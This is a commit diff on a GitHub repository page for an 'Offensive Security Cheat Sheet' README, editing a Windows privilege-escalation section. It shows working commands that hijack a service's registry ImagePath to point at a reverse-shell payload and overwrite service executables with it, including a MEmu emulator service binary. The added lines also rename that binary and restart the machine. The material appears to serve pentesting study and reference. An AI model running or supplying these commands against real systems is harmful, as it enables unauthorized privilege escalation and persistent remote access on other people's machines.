kqjy/Offensive-Security-Cheat-Sheet
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update README.md

Browse Source
This commit is contained in:
Joe Totes
2022-10-17 08:26:08 -04:00
committed by GitHub
parent 8d150d8332
commit bca1e092d7
1 changed files with 5 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
README.md
View File

@@ -1237,7 +1237,7 @@ Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
reg query HKLM:\System\CurrentControlSet\Services\regsvc reg query HKLM:\System\CurrentControlSet\Services\regsvc
# Overwrite the imagePath registry key to point to reverse shell # Overwrite the imagePath registry key to point to reverse shell
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\{PAYLOAD PATH ex. C:\PrivEsc\reverse.exe} /f reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\Users\Public\Downloads\run.exe /f
# Start the service: # Start the service:
net start regsvc net start regsvc
@@ -1258,9 +1258,13 @@ net start regsvc
# Copy the reverse shell executable to overwrite the service executable # Copy the reverse shell executable to overwrite the service executable
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
Copy-Item "C:\Users\Public\Downloads\run.exe" "C:\Program Files\Microvirt\MEmu\MemuService.exe"
Rename-Item "C:\Program Files\Microvirt\MEmu\MemuService.exe" "C:\Program Files\Microvirt\MEmu\MemuService.bak"
# Start the service # Start the service
net start filepermsvc net start filepermsvc
Restart-Computer
######################################################################### #########################################################################
#### 5. DLL Hijacking ################################################### #### 5. DLL Hijacking ###################################################